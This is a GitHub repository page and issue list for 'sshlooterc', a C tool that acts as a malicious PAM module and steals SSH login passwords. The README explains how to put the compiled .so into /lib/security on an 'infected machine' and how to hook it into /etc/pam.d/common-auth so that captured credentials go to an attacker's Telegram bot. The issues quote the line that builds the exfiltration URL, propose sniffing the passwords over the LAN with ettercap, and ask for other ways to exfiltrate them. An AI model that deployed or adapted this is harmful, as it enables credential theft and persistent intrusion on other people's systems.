mthbernardes/sshlooterc

It's the C version of https://github.com/mthbernardes/sshLooter

SSHLooter C version

It's the C version of sshLooter, which was written in python and have a lot of dependencies to be installed on the infected machine. Now with this C version, you compile it on your machine and send it to the infected machine without installing any dependencies.

Dependencies

• gcc
• libcurl4-openssl-dev
• libpam0g-dev

Configure

Edit the looter.c and add your telegram bot token and your user id.

Compiling

make

Usage

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

sshlooterc's Issues

what this? snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);

what this? snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);

passwd send for ?????

in NAT can not work

send to lan ,so ettercap sniffer get the pass,good idea

Nothing received via telegram bot

I verified api messages from the bot to my account are working and have verified the bot's functionality in several capacities. I attempted to capture the message on the target machine with wireshark; but the communications are encrypted. So, there isn't a way for me to verify that it is being sent from the target computer.

Everything appears to have worked; but I never receive a telegram message from my bot when I login via SSH to the target machine. The pam.d config has been edited and the .so file is in lib/security. I even restarted SSH and tried again; but no luck.

Side note question: Is there a simple way to edit the C code to send this out via another method other than the telegram API?